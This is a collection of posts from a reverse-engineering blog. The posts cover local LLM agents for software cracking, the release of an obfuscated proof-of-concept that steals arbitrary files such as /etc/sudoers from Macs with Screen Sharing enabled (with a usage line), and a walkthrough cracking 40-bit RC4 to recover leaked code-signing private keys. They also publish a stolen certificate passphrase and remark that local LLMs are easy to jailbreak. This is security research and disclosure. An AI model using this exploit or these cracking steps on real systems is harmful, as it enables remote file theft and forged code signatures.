[{"content":"Introduction A bunch of random Human \u0026ldquo;ideas\u0026rdquo; in the age of AI. Maybe more noise than signal but noise was already taken.\nTo fail is to be Human, so why not potentially make a fool of yourself?\nNot proofread (Human or AI), just straight writing in a single page, newer to older (maybe change if it grows too much).\nThe compute have and have-nots (21/09/2026) I have spent the last weekend playing around with LLM agents and reverse engineering (as in software cracking). While everyone keeps raving about the agent hype, I was not impressed with the results so far. There are many caveats to my early experiment so the accuracy is not yet the point.\nI find the experience extremely boring and that bothers me more than output accuracy. I have very low tolerance for high latency between having an idea and experiment with it. That\u0026rsquo;s one of the main reasons why I love the debugger so much, it allows me to test the idea very fast and prove it works or not, and iterate. I love this cycle of exploration and having new ideas. Sure, it can be slow, it sure can be insanely frustrating against an hard target, but that chase and high when you finally get it working and break your target is insane.\nWith the bots, this is so much slower it becomes boring. The latency is very high between asking a question and having an answer. You are just stuck waiting for that reply. Oh, but the point of agents is that they will do all the work for you while you sleep. Sure, but they don\u0026rsquo;t have my experience and while agents have been achieving impressive results, they still go down too many rabbit holes. For example, the agent took 4 hours to produce a crack patch that I did in 30 seconds. The moment it started writing the first output I knew it would go off rails. It did arrive to a result but it took quite a while. It insists every time in forging RSA, or that it can generate the private key out of the public key found in the binary. Sure, it\u0026rsquo;s still missing the SKILLS.md with all my expertise on it.\nBut the subject here isn\u0026rsquo;t really the precision and achievements of the bots. The reason for my troubles is that I\u0026rsquo;m using local LLM setup. Everyone bragging how they are doing so much with local LLMs and I have serious doubt about what they are bragging about. My setup is a M3 Ultra with 96GB RAM, not the fastest thing out there but also not too bad (or shouldn\u0026rsquo;t be). I have experimented mostly with Qwen 3.6 31B and 3.8 27B. They are pretty reasonable models for chatting about coding questions, in particular if you know wtf you are doing and recognize the mistakes and fuckups very fast. For agent work, meh, not so much so far. Or let\u0026rsquo;s say, my expectations were much higher.\nFor sure my setup isn\u0026rsquo;t tuned yet to its max potential but it also will not go much higher (as far as I have seen out there, even with all the Splash hype over Twitter this weekend). A better setup should produce better results (although I haven\u0026rsquo;t seen much written about the marginal benefits/costs) but the costs are becoming off the rails and I don\u0026rsquo;t even see people talking about depreciation rates (well, when the so called hyperscalers are treating depreciation as something they should just hide and ignore on their balance sheets\u0026hellip;). It\u0026rsquo;s not cheap for sure, becomes crazy expensive very fast, and nobody talks about their ROI (everyone hypes the shit out of their \u0026ldquo;results\u0026rdquo;, nothing about the cost). For example, the 1Password experiment cost them $14k, while the GPU driver porting talks nothing about their costs (I doubt it was cheap, given that they burnt a month or two of tokens from Anthropic or/and OpenAI).\nThat finally brings the title into play. If the AI-age (let\u0026rsquo;s call it like that, why not, it\u0026rsquo;s all fucked up anyway) is really the future, than will it really become an age of compute haves and have-nots? The real bet that hyperscalers are doing appears to be this one. US and China appear to be racing according to this assumption, while Europe just watches from the sidelines. Who will be right or wrong? Forecasts are for fools :-). Are we heading towards becoming dependent of monopolies or duopolies on each side? The US companies seem keen to make that happen (probably the only way they can become profitable and investors recoup their massive investments).\nI\u0026rsquo;m very curious to see how the local LLM hype develops. Maybe it will work because most people have narrow needs from AI and not specialized work as me. Or maybe we have massive developments that change the game (well, RAM is crazy expensive, bigger seems generically better, so not sure about that) and local LLMs really become a game changer. Honestly, for now I think that either you have compute or you will be in trouble, assuming this AI thing really stays (I think it\u0026rsquo;s still too early to evaluate that, the second and higher order effects aren\u0026rsquo;t kicking yet).\nThe local LLMs are important because the cloud is not under our control. Everyone complaining about the restrictions post-Mythos hype. Local LLMs are easy to jailbreak and do what you want. When the LLMs mirror the Human world, you break them the same way you break Humans. And when the cloud companies are suspected of stealing your ideas to their benefit, local control becomes more important than never.\nNot directly related, but have you seen the difference in network calls to Apple mothership from a freshly installed macOS Mavericks (because I was cleaning up the VMs the other day) and Golden Gate? It\u0026rsquo;s staggering. And we can be glad that Apple cares about our privacy (LOL\u0026hellip;yeah right\u0026hellip;). Our (modern) computing is not under our control. And the lobbies against this are ever more powerful. Code signing is the same as cameras everywhere, it\u0026rsquo;s for our protection (LOL\u0026hellip;yeah right\u0026hellip;).\nAnyway, I\u0026rsquo;ll keep experimenting and hopefully complete the idea I\u0026rsquo;m playing with and show its result around here sooner or later.\nfG!\n","permalink":"https://reverse.put.as/linesignal/","summary":"Introduction A bunch of random Human \u0026ldquo;ideas\u0026rdquo; in the age of AI. Maybe more noise than signal but noise was already taken.\nTo fail is to be Human, so why not potentially make a fool of yourself?\nNot proofread (Human or AI), just straight writing in a single page, newer to older (maybe change if it grows too much).\nThe compute have and have-nots (21/09/2026) I have spent the last weekend playing around with LLM agents and reverse engineering (as in software cracking).","title":"Linesignal"},{"content":"This Monday Apple\u0026rsquo;s Security Bulletin finally brought the bad news I had been waiting for a long time (because I\u0026rsquo;m a very curious person and like to experiment!).\nThere was a section on Screen Sharing and while the descriptions looked suspicious there was a chance that one of the greatest bugs I ever found was finally killed.\nAfter updating a VM and testing the bug, it was indeed not working anymore. Saddeness attacked me and so I went to bed. Well, I couldn\u0026rsquo;t sleep without knowing why, so I came back, loaded IDA, and check what was going on. Yes, a new check was introduced at the right place that killed the bug. Ok, that lets me sleep in some peace!\nNext day I better check things, and I still suspect there might be a way to still exploit this. Apple is famous for fucked up patches so why not? But I have other work to do and I\u0026rsquo;m still \u0026ldquo;sad\u0026rdquo; about losing this bug.\nToday, I see a blogpost describing a root remote command execution in screensharingd. Ok, these might be the clowns that went crying to Apple about a bug they found. Reading the blogpost and it\u0026rsquo;s quite clear that they don\u0026rsquo;t really understand the bug and its full potential.\nMaybe the reason is this:\nThat is also why this was an interesting automated-discovery result. The bug was found through our automated vulnerability-discovery workflow using GPT-5.5 for discovery and validation.\nYeah, the machines found a bug, they are happy with it and can go cry Apple and write a blogpost for kudos.\nTurns out they are wrong about it. The real bug is a pre-auth on screensharingd and it allows to pwn any Mac that has Screen Sharing enabled, without knowing password or anything else. You just need to have an IP address :-).\nAs a friend says, I should have sold it (well if this was a default enabled service I would for sure). Turns out I\u0026rsquo;m not in the business of selling bugs. Yeah, I\u0026rsquo;m still an idiot regarding this topic. Oh well, bugs are plenty everywhere, the good ones are still out there.\nApple Security Beg Bounty isn\u0026rsquo;t a choice. I don\u0026rsquo;t trust them to be fair, given my long history with them. And the stories out there aren\u0026rsquo;t flattering to them, although there\u0026rsquo;s also very happy cases out there.\nAnyway, you can find a Go based ARM64 PoC that allows you to download any file from a vulnerable macOS machine. This is a weaker PoC that might fail, but you can keep trying until it works. You wouldn\u0026rsquo;t expect me to release an insanely stable bug for free, did you?\nYou need to know the full path to the file you want to download. An easy example is /etc/sudoers or any other known file. If you use your brain you can easily find the username list and now you can do better things. Oh, this bug doesn\u0026rsquo;t care about TCC either!\nIt\u0026rsquo;s obfuscated but doesn\u0026rsquo;t contain any malicious code. You can take my word and reputation for it. You wouldn\u0026rsquo;t expect me to release source code for free, did you?\nAnd of course I\u0026rsquo;m not going to explain the bug, you wouldn\u0026rsquo;t expect me to train the stupid LLMs for free, did you? Fuck those leeches :-).\nIt would be a very nice long blogpost but I can\u0026rsquo;t get myself to do it in times where everyone is bragging on top of someone\u0026rsquo;s else knowledge encoded in models. Very sad times indeed, but life goes on and knowledge goes underground once again.\nLLMs are useful, but it will rotten your brain and skills very fast. Use them when useful, but keep practicing your skills and using your brain. Don\u0026rsquo;t worry that everyone is bragging how productive they are and all the bugs they are finding. Turns out they are finding all the same bugs if you look carefully at the latest Apple Security Bulletin. Btw, I wasn\u0026rsquo;t even trying to find bugs, I was just trying to understand something and hit it LOLOLOLOLOL.\nDo you even understand how insanely amazing this bug was? Nah\u0026hellip; It would be perfect if it could bypass SIP. That one it doesn\u0026rsquo;t do. But I\u0026rsquo;m not even describing all its features!\nOh, and Apple should rethink its bug fixing policy. This is a massive bug and most probably there are tons of old systems exposed on the internet (and your LANs), that will be left unpatched because the 5 trillion USD company can\u0026rsquo;t bother allocating resources. It\u0026rsquo;s not reasonable anymore that a company can just declare fully functional products obsolete and leave customers vulnerable. This stuff needs to change, the market incentives are clearly skewed towards company profits and so governments need to step forward once for all. It\u0026rsquo;s even more critical in the age where everything is being code signed and essentially gating those products at the will of the company and whatever bottom line needs.\nUpdate: @bl4sty released a write up done with his bots at https://warez.sl0p.foo/apple-screensharing-rce/. We are doomed, the bots are taking over! Very nice work!\nKeep hacking and having fun,\nfG!\nnavi_the_clown\nSHA256(navi_the_clown)= 0bddb0442a873f7a241d06905152be37ee3f532b72b79e1dcd3b23308a98a3ed\nUsage:\n./navi_the_clown -t hostname:5900 -f /etc/sudoers P.S.: The binary has no code signature, so you need to resign it after downloading with codesign -s - -f navi_the_clown. And probably remove the quarantine bit.\nP.S.2: The name rang a bell but it wasn\u0026rsquo;t connecting in the brain until I went search. Ex-Hacking Team the other guy. Touche\u0026rsquo;. Serendipity is fun :P\nP.S.3: Because moral lessons just \u0026ldquo;exploded\u0026rdquo; on Twitter, let\u0026rsquo;s just clarify a few things.\nFirst, I know the bug was fixed by the DoS entry, because that\u0026rsquo;s what happens if you just fuzz the protocol, the most probable scenario for that bug entry.\nSecond, sitting on bugs or not is a decision of those who find them. This discussion is as old as the internet and it has no proper conclusion other than companies need to do better with their products. Just spare moral lessons about this topic, we are all tired of that. Sure I\u0026rsquo;m \u0026ldquo;sad\u0026rdquo; that the bug was patched because we all like to have special secrets. But it cost me nothing to find it, and the real message is to the Cupertino clowns :-). The rest is just good\u0026rsquo;ol internet trolling. Peace!\nThird, yes, Bynar didn\u0026rsquo;t hit the same bug, they just got so high on the bot finding that they didn\u0026rsquo;t bother exploring the rest of the code (which is pure garbage). Probably trolled too much on that. Touche\u0026rsquo;, my sincere apologies.\n","permalink":"https://reverse.put.as/2026/07/29/its-a-pre-auth-stupid/","summary":"This Monday Apple\u0026rsquo;s Security Bulletin finally brought the bad news I had been waiting for a long time (because I\u0026rsquo;m a very curious person and like to experiment!).\nThere was a section on Screen Sharing and while the descriptions looked suspicious there was a chance that one of the greatest bugs I ever found was finally killed.\nAfter updating a VM and testing the bug, it was indeed not working anymore.","title":"It's a pre-auth, stupid!"},{"content":"By serendipity I just noticed that this blog 18th birthday was four days ago! The first blogpost was on 14th October, 2007. Uau!!!\nIt all started when I was job bored to death, bought my first MacBook (still have it!) and started cracking er\u0026hellip; reversing stuff. At the time there wasn\u0026rsquo;t much RE information (and tooling) for Mac as there was for Windows.\nAnd then I decided to quit, take an MBA because why not, and then missed a whole new career in management because of cultural misunderstandings (turns out that emailing Asian companies telling their processes are wrong isn\u0026rsquo;t well accepted).\nKept blogging and that got me back to InfoSec again by change. Travelled around the world speaking at conferences (some epic tales like 5+5 stops on a trip to China, zero flights missed, no bags lost, and insanely sick on return), trolled Apple, wrote tons of code (way more than I ever expected), went to Apple when I was pretty sure I wasn\u0026rsquo;t a fit at all (long story!), did some seriously fun and challenging reverse engineering consulting gigs, and so on. Essentially so many adventures because of a mere blog. Or why I tell people writing a blog is a powerful tool.\nHopefully to a few more years of blogging. I\u0026rsquo;m still kinda bored with most InfoSec and the AI bullshit isn\u0026rsquo;t helping much. I\u0026rsquo;m not sure I want to help train the LLMs. They can be useful tools but the hype and noise are too much and these \u0026ldquo;leaders\u0026rdquo; are not good people at all. I haven\u0026rsquo;t made my mind yet.\nEnjoy and I hope you had as much fun (and learning) as I did.\nBest, fG!\n","permalink":"https://reverse.put.as/2025/10/18/18yearsold/","summary":"By serendipity I just noticed that this blog 18th birthday was four days ago! The first blogpost was on 14th October, 2007. Uau!!!\nIt all started when I was job bored to death, bought my first MacBook (still have it!) and started cracking er\u0026hellip; reversing stuff. At the time there wasn\u0026rsquo;t much RE information (and tooling) for Mac as there was for Windows.\nAnd then I decided to quit, take an MBA because why not, and then missed a whole new career in management because of cultural misunderstandings (turns out that emailing Asian companies telling their processes are wrong isn\u0026rsquo;t well accepted).","title":"This blog is 18th years old already!"},{"content":"The APT Down leak contained four code signing certificates and the passphrase only for the most recent one. Since the passphrase was found on the usual rockyou.txt wordlist, I was curious to see if the remaining three could be cracked using the same wordlist.\nI started this project by writing a small utility to decrypt the PVK key, as it could be easily tested with the known passphrase. The code appeared correct, but it wasn\u0026rsquo;t working. Then, I had to context switch into some consulting work, and this project went into the TODO bin.\nLast Friday, I had free time and decided to take another try at this so it wouldn\u0026rsquo;t get lost forever. Once again, the code appeared to be okay, even if it was using CoreCrypto instead of OpenSSL (older OpenSSL versions have support for PVK).\nThere is some information about the PVK format available online. This page from ArchiveTeam has most of the information needed to parse the file. The first time I read it, I noticed the caveat about the RC4 encryption key:\nThere are two possible ways that the password is used to make the RC4 key. They both concatenate the salt bytes with the ASCII encoded password and calculate the SHA1 hash. The first method uses the SHA1 hash as the RC4 key, the second method uses only the first 5 bytes of the SHA1 hash followed by 11 zero bytes. This second method (using only 40 bits of the SHA1 hash) is an historic limitation to comply with the US export restrictions on strong encryption in the 1990s.\nAh, the famous weak crypto export wars of the 90s. The problem is that for some reason my brain went into denial and assumed the keys wouldn\u0026rsquo;t be weakly encrypted. In reality, they were using the weak 40-bit key when I decided to test it.\nThe famous Russian proverb is \u0026ldquo;Trust, but verify\u0026rdquo;, but I\u0026rsquo;ll get another monitor sticker saying \u0026ldquo;Don\u0026rsquo;t assume, verify\u0026rdquo;.\nAnyway, after fixing and testing the code, I decided to go the bruteforce way since 40-bit should be a cheap lunch for today\u0026rsquo;s CPUs. I built a GCD and a pthreads-based util for this purpose.\nThe following structure defines the PVK header:\nstruct pvk_header { uint32_t magic; // always 0xb0b5f11e uint32_t reserved; uint32_t key_type; uint32_t encrypted; // 1 - encrypted, 0 otherwise uint32_t salt_len; // usually 16 bytes, 0 if not encrypted uint32_t key_len; // followed by the salt data }; Since we are dealing with encrypted PVK files, there is a salt, and it\u0026rsquo;s 16 bytes for all leaked files. Another header follows the salt data:\nstruct blob_header { uint8_t type; // PUBLICKEYBLOB, PRIVATEKEYBLOB, SIMPLEBLOB uint8_t version; // Version number of the key blob format. This currently must always have a value of \u0026#34;0x02\u0026#34;. uint16_t reserved; uint32_t key_alg; // Algorithm identifier for the key contained by the key blob. // Some examples are CALG_RSA_SIGN, CALG_RSA_KEYX, CALG_RC2, and CALG_RC4. // https://learn.microsoft.com/en-us/windows/win32/seccrypto/alg-id }; Everything that follows the blob_header header is encrypted. According to Microsoft documentation, we are dealing with an encrypted RSA key. The decrypted data should start with the following structure:\nstruct rsa_header { uint32_t magic; // This should be set to \u0026#34;RSA1\u0026#34; (0x31415352) for public keys and to \u0026#34;RSA2\u0026#34; (0x32415352) for private keys. uint32_t bitlen; // Number of bits in the modulus. In practice, this must always be a multiple of eight. uint32_t pubexp; // The public exponent. }; The bitlen field will most probably be 0x800 (2048 bits) or 0x400 (1024 bits). The smaller PVK files are 636 bytes long, and the others are 1212 bytes, a strong signal that we are dealing with 1024 and 2048 RSA keys.\nInitially, I tried to use just the rsa_header structure\u0026rsquo;s magic value to validate the bruteforce tests. However, this produces too many candidates. Using the bitlen eliminates this problem, and since we have a good guess about its correct value for each key, we just need to try to decrypt the 8 initial bytes to make everything faster.\nThe Mac Mini M4 is fast but doesn\u0026rsquo;t have enough threads for this CPU bruteforce task, so I used instead a Ryzen 3950X with 16 cores and 32 threads. Five hours later, I finally got the key for the 2005 PVK file. Initially, I built a new decrypted PVK file by hand and used an older OpenSSL version (1.0.2g works fine) to convert the PVK to PEM format, and voilá, the private key was finally unlocked.\nFive hours isn\u0026rsquo;t a bad result, but there were still two keys left to crack, and I didn\u0026rsquo;t have much patience to wait for the results. It\u0026rsquo;s the perfect task for GPUs!\nA brief look into hashcat reveals that there\u0026rsquo;s no support for this encryption type, other than for PDFs and Office documents that used the same \u0026ldquo;encryption\u0026rdquo; in the past. What could be more fun than writing some hashcat support for this? Write ourselves something that uses the GPU to bruteforce the 40-bit space. Since I don\u0026rsquo;t have modern GPUs other than Apple Silicon based, it was an opportunity to play with Metal.\nGPUs are definitely something I don\u0026rsquo;t deal with, so I went lazy and asked an LLM to write a Metal-based 40-bit RC4 bruteforcer. As often happens, the initial LLM outputs didn\u0026rsquo;t work, but after fixing the errors it appeared to do something and bruteforce some test keys much faster than the CPU version.\nThe LLM magic is many times superficial, and when you start going deeper it often cracks easily. For some reason, the same code wasn\u0026rsquo;t able to find some test keys. Time to debug the problem instead of playing the stochastic parrot lottery.\nIn this case, Apple\u0026rsquo;s documentation is (surprisingly!) quite useful, and the LLM code is pretty much a documentation carbon copy, minus the errors and RC4 algorithm.\nIt turns out the code wasn\u0026rsquo;t increasing the key offset, so it was bruteforcing the same initial group of keys over and over. So much for \u0026ldquo;thinking\u0026rdquo; and \u0026ldquo;intelligence\u0026rdquo; LLM hype!\nAfter fixing and testing the code, it was time to unleash it on the same key cracked by the CPU version. Don\u0026rsquo;t assume, verify!\nThis time, it took 102 minutes to find the key, compared to the 300 minutes for the CPU version. Approximately 30 billion keys were tested at an approximate rate of 77 MH/s. The 2004 paper The Effectiveness of Brute Force Attacks on RC4 extrapolates a 4 MH/s rate on a 500 units FPGA running at 10Mhz. A 1995 40-bit RC4 challenge by Hal Finney had rates between 1.5 MH/s and 4.5 MH/s. In 1997 a 28 MH/s rate was achieved using a top-200 supercomputer at the time. Details can be found here.\nThe 1024 keys took approximately one to two hours to complete. A significant amount of time was wasted searching keyspace that was far from the actual key in all cases. One of the referenced attempts in 1995 has the following note:\nkeyspace more than 99.6% (key was #7EF0 and #8000-#FFFF was searched first!).\nMight be a good idea to implement a strategy to split the search space and alternate between searching above and below the midpoint. However, that\u0026rsquo;s all hindsight, given that all keys were located above the midpoint in this case.\nSince this was a fun exercise, it provided an opportunity to learn a bit more about Metal for compute and try to improve the performance. I implemented a few small changes and managed to clock around 122 MH/s. Not a bad improvement :-).\nAs a reference point (which I only did after I improved performance), the latest hashcat v7.1.2 benchmark does between 100 to 173.1 MH/s for mode RC4 40-bit DropN (I don\u0026rsquo;t quite understand the large results variance, rarely hitting the 170 MH/s):\n% ./hashcat -m 33500 --benchmark hashcat (v7.1.2) starting in benchmark mode (...) METAL API (Metal 368.52) ======================== * Device #01: Apple M4, skipped OpenCL API (OpenCL 1.2 (Jul 11 2025 19:18:49)) - Platform #1 [Apple] ==================================================================== * Device #02: Apple M4, GPU, 5461/10922 MB (1024 MB allocatable), 10MCU Benchmark relevant options: =========================== * --backend-devices-virtmulti=1 * --backend-devices-virthost=1 * --optimized-kernel-enable ------------------------------------ * Hash-Mode 33500 (RC4 40-bit DropN) ------------------------------------ Speed.#02........: 173.1 MH/s (46.49ms) @ Accel:1024 Loops:1024 Thr:32 Vec:1 An impactful code change involved the shape of the thread group size grid. The initial LLM-generated code used a one-dimensional maximum threads grid:\nNSUInteger threadGroupSize = pipeline.maxTotalThreadsPerThreadgroup; MTLSize threadgroupSize = MTLSizeMake(threadGroupSize, 1, 1); However, after reviewing the Metal documentation and related articles, this shape performs much better, as it better aligns with hardware capabilities and maximizes occupancy through uniform work distribution across all GPU cores:\nNSUInteger w = pipeline.threadExecutionWidth; NSUInteger h = pipeline.maxTotalThreadsPerThreadgroup / w; MTLSize threadgroupSize = MTLSizeMake(w, h, 1); In this case, both w and h values are 32.\nRunning this improved version against the 2005 key, now achieving a rate of ~116 MH/s, it took 68 minutes to find the key, a significant improvement over the initial version. Better results were obtained by reducing the height in half. A thread group size of 32x16 yielded performance approximately 6 MH/s higher than a 32x32 grid.\nThe main problem is that RC4 isn\u0026rsquo;t GPU friendly due to its memory usage. We need to utilize almost 300 bytes per GPU thread, along all the random memory accesses.\nWe can use Xcode Instruments to profile and attempt to understand the behavior. The L1 cache appears to be frequently invalidated, and this might be one of the reasons why RC4 is so hard to the GPU.\nProfiling hashcat generates a different result, although the rates aren\u0026rsquo;t much better.\nI definitely need to further explore this GPU profiling and optimization topic to better understand what is going on. Profiling the RC4 algorithm in segments clearly reveals that the KSA random accesses and writes become the primary bottleneck. I wish I had more material to display on profiling and optimization, but I wasn\u0026rsquo;t happy with my research results. The behavior appears too inconsistent, documentation is lacking, and Apple’s videos aren’t particularly helpful. It’s an area to explore with more time and patience.\nNow we can finally demonstrate all the necessary steps to crack the 2005 private key. First we start by bruteforcing the key:\n% ./metal_bruteforce -------------------------------------------- 40-bit RC4 Metal based bruteforcer (c) fG!, 2025, All rights reserved. reverser@put.as - https://reverse.put.as -------------------------------------------- Cracking... Checked keys up to 0x6EE6000000. Current rate is 115.099 MH/s. ✅ Valid key found: 6EE6729D0D0000000000000000000000 🔑 Key to use with pvk_decrypt: 0xd9d72e66e ⏱ Key was found in 34.008 seconds. Next we can decrypt the PVK file:\n$ ./pvk_decrypt -i myprivatekey-2005.pvk -o decrypted.pvk -k 0xd9d72e66e -------------------------------------------- 40-bit PVK Decryptor (c) fG!, 2025, All rights reserved. reverser@put.as - https://reverse.put.as -------------------------------------------- ⏳ Executing PVK decryption... 🔑 Encryption key: 6ee6729d0d0000000000000000000000 👍 Decrypted content appears to contain valid RSA private key. ✍️ Writing decrypted PVK file... ✅ All done! Now you can use OpenSSL to convert the keys. Tested with openssl-1.0.2g, newer versions removed PVK support. And finally extract the RSA private key using an older OpenSSL version:\n$ apps/openssl rsa -inform PVK -outform PEM -in decrypted.pvk -out 2005.pem $ apps/openssl rsa -in 2005.pem -text -inform PEM Private-Key: (2048 bit) modulus: 00:aa:13:57:10:49:41:04:7b:0f:2b:f6:71:d3:e3: c6:67:e1:ce:44:f0:ba:85:df:75:0b:4e:a7:93:c3: (...) Now that we have the private key, we can sign and encrypt anything we want. Of course the certificates are expired, but that\u0026rsquo;s a different problem.\nMetal compute definitely looks interesting. The API and the Metal Shading Language don\u0026rsquo;t appear to be a mess, nor does the documentation. It could be a valuable tool for specific problems in the future. It was definitely a good surprise. Easy to use, hard to master and optimize!\nThe code is available on Github:\nmetal_bruteforce: the Metal based bruteforcer. pvk_decrypt: the util to generate a decrypted PVK file after key was found. One has to wonder how many keys the five eyes SIGINT boys \u0026amp; girls cracked all this time ;-). If the quantum breakthrough does ever happen (or already did?) all that storage in Utah is going to become very alive!\nHave fun,\nfG!\nSome references:\nMetal Compute on MacBook Pro Scale compute workloads across Apple GPUs Optimize Metal apps and games with GPU counters ","permalink":"https://reverse.put.as/2025/08/24/rc4bruteforce/","summary":"The APT Down leak contained four code signing certificates and the passphrase only for the most recent one. Since the passphrase was found on the usual rockyou.txt wordlist, I was curious to see if the remaining three could be cracked using the same wordlist.\nI started this project by writing a small utility to decrypt the PVK key, as it could be easily tested with the known passphrase. The code appeared correct, but it wasn\u0026rsquo;t working.","title":"Bringing Metal to a crypto backdoor fight! Exploiting the GPU and the 90s crypto wars to crack the APT Down code signing keys"},{"content":"This weekend two real hackers leaked the results of an hack to a possible APT linked to China and/or North Korea. Big hat tip and thanks to Saber and cyb0rg for disclosing such interesting material!\nThe leak can be found here at Distributed Denial of Secrets. The Phrack article is included in the archive while Phrack #72 isn\u0026rsquo;t released online (come on people finish that CTF!).\nThe authors describe some of the contents and ask for help analysing the rest of the contents. Further leaks are promised, which we anxiously wait for!\nAfter reading the article and becoming curious, it was time to spin a VM and dive into the archives. There is a lot of stuff to look at so I just kept going through things trying to find something that calls for attention.\nFor example, there\u0026rsquo;s an encrypted-openpgp-passphrase.txt in one of the Thunderbird profiles and the decryption key can be recovered. But there are no OpenPGP keys in sight. I\u0026rsquo;m not sure if this is a Thunderbird default and didn\u0026rsquo;t look further after recovering the decryption key and failing to find the goodies.\nAnyway, from my quick analysis I can say that this is an APT competing in the Europa League versus the ShadowBrokers APT which definitely was Champions League material. I\u0026rsquo;m still puzzled how so few analysis were made public for those leaks. That stuff is fascinating to look at, a rare peek of a top tier APT. You can definitely \u0026ldquo;feel\u0026rdquo; their high quality software engineering (although not without bugs here and there, but AI will solve everything, right?).\nStill, this is a great leak and you should definitely explore it!\nSomething that triggered my curiosity was this folder work/mnt/hgfs/Desktop/111/2/01_행자부 웹보안API(ORG) - 권유미 인수/03_deploy/SignTool/. It contains code signing certificates and scripts to sign Windows executables. Now this is interesting!\nIt becomes even more interesting when we verify who the certificates belong to!\ncert_info: version: 2 serialNumber: 170029916841236378034687590211105296362 signature: algorithm: md5WithRSAEncryption (1.2.840.113549.1.1.4) parameter: NULL issuer: C=ZA, O=Thawte Consulting (Pty) Ltd., CN=Thawte Code Signing CA validity: notBefore: Apr 3 06:25:54 2006 GMT notAfter: Apr 15 08:22:17 2008 GMT subject: C=KR, ST=Seoul, L=Songpa-gu, O=Dream Security Co., Ltd., OU=PKI Tech, CN=Dream Security Co., Ltd. This doesn\u0026rsquo;t look like an APT front company. Because it doesn\u0026rsquo;t ring an immediate bell (although stolen certificates do) a quick web search reveals the answer I was looking for:\nLazarus supply-chain attack in South Korea\nLazarus cert, from the ESET post So according to ESET, Lazarus was using two stolen Windows code signing certificates in a 2020 campaign. One of them is from Dream Security USA, a wholly owned subsidiary of Dream Security Korea. And now we can find four two decades old (!) code signing certificates belonging to Dream Security Korea. Scripts are set to use them to sign what appears to be malicious binaries designed to steal the citizen certificates referenced in the Phrack article.\nOne of the target binaries in 1. codesignX.bat :\n.\\SignTool\\VeriSignTool\\SignCode -spc .\\SignTool\\Cert\\mycredentials.spc -v .\\SignTool\\Cert\\myprivatekey.pvk -a sha1 -t http://timestamp.verisign.com/scripts/timstamp.dll -n \u0026ldquo;GPKIInstaller\u0026rdquo; .\\bin\\GPKIInstaller.dll\nThe bin folder contains binaries signed with this certificate in 2007:\nSigned DLL in 2007 Now this is very interesting. First because these are very old certificates, so there is a chance that this APT has been hacking South Korea (and maybe others) for the last 20 years. Those who have VirusTotal access could have some interesting retrohunting looking for any binaries signed with these certificates.\nSecond because the Phrack article discusses the theory that this is a made in China APT with possible ties to North Korea APT(s). The made in China hypothesis looks real, since there are a lot of Chinese comments in docs and code. What\u0026rsquo;s the probability of having a North Korea APT internally speaking Chinese? These guys don\u0026rsquo;t even bother to have work shifts to disguise the damn hours (honestly neither everyone else, to my serious confusion how hard this can be!) much less writing internally in a different language.\nAnother recurring detail was the threat actor\u0026rsquo;s strict office hours, always connecting at around 09:00 and disconnecting by 17:00 Pyongyang time.\nBug and hacking collisions happen, it\u0026rsquo;s not the first time you have different APTs playing on the same machine (2016, hello?). But looks like a bit of a coincidence that Lazarus and a more than probable made in China APT both have code signing certificates from the same company. Although they are from different divisions. So this is probably another interesting bit to help make the connection between the two countries as the Phrack article calls for.\nThere is always the chance that this (and other material) has been planted. I don\u0026rsquo;t have knowledge of what went on here and authors\u0026rsquo; intentions, so it\u0026rsquo;s always a possibility in every leak (Gucifer, hello?).\nThe passphrase for the certs in the cert folder is dream1998 (the empty text file there). The certificates and private key can be extracted using older OpenSSL versions (1.0.2g worked for me) because PVF support was removed on newer versions. The timestamp service obviously refuses to sign anything since the certs are more than expired but other than that everything is available. The other certificates don\u0026rsquo;t have the same passphrase, so I\u0026rsquo;ll probably run rockyou.txt against them to see if there is some luck just for the lulz.\nThe other certicates info (issuers were VeriSign and Thawte):\ncert_info: version: 2 serialNumber: 29598626789411103482620040331033826604 signature: algorithm: md5WithRSAEncryption (1.2.840.113549.1.1.4) parameter: NULL issuer: O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https:\\/\\/www.verisign.com\\/rpa (c)01, CN=VeriSign Class 3 Code Signing 2001-4 CA validity: notBefore: Mar 26 00:00:00 2002 GMT notAfter: Apr 8 23:59:59 2003 GMT subject: C=KR, ST=HanSung Plaza 12F, 13-1, HungIn-Dong, Joong-Gu, L=Seoul, O=Dreamsecurity co., OU=Digital ID Class 3 - Microsoft Software Validation v2, OU=Security Solution Development, CN=Dreamsecurity co. cert_info: version: 2 serialNumber: 154916525924551668138434563576260568983 signature: algorithm: sha1WithRSAEncryption (1.2.840.113549.1.1.5) parameter: NULL issuer: O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https:\\/\\/www.verisign.com\\/rpa (c)01, CN=VeriSign Class 3 Code Signing 2001 CA validity: notBefore: Mar 28 00:00:00 2003 GMT notAfter: Apr 16 23:59:59 2004 GMT subject: C=KR, ST=HanSung Plaza 12F, 13-1, HungIn-Dong, Joong-Gu, L=Seoul, O=Dreamsecurity co., OU=Digital ID Class 3 - Microsoft Software Validation v2, OU=Security Solution Development, CN=Dreamsecurity co. cert_info: serialNumber: 2167112 signature: algorithm: md5WithRSAEncryption (1.2.840.113549.1.1.4) parameter: NULL issuer: C=ZA, O=Thawte Consulting (Pty) Ltd., CN=Thawte Code Signing CA validity: notBefore: Apr 14 08:36:05 2005 GMT notAfter: Apr 16 08:20:37 2006 GMT subject: C=KR, ST=Seoul, L=Songpa-gu, O=Dream Security Co., Ltd., OU=PKI Tech, CN=Dream Security Co., Ltd. I couldn\u0026rsquo;t find any information about these certificates, in particular related to anything malicious. If you know something about this please do tell me (in private or public) since I\u0026rsquo;m curious. Even better if you are lucky on that VT retrohunt and find some different malware or at least proof that these campaigns are much older than 2020.\nHave fun and keep exploring those archives! An opportunity like this doesn\u0026rsquo;t appear often :-).\nfG!\n","permalink":"https://reverse.put.as/2025/08/11/itsthecertificatesstupid/","summary":"This weekend two real hackers leaked the results of an hack to a possible APT linked to China and/or North Korea. Big hat tip and thanks to Saber and cyb0rg for disclosing such interesting material!\nThe leak can be found here at Distributed Denial of Secrets. The Phrack article is included in the archive while Phrack #72 isn\u0026rsquo;t released online (come on people finish that CTF!).\nThe authors describe some of the contents and ask for help analysing the rest of the contents.","title":"It's the certificates, stupid!"},{"content":"I haven\u0026rsquo;t seen this trick in the wild (and couldn\u0026rsquo;t find any references) and I\u0026rsquo;m dumbfounded as to why I didn\u0026rsquo;t notice it before. I knew and used this feature a lot, but assumed that the underlying breakpoint was only set when the option was enabled (assumptions, assumptions\u0026hellip;tss tss tss).\nThe story starts with an upgrade to macOS 15.4. Given Apple\u0026rsquo;s recent software quality issues, it comes as 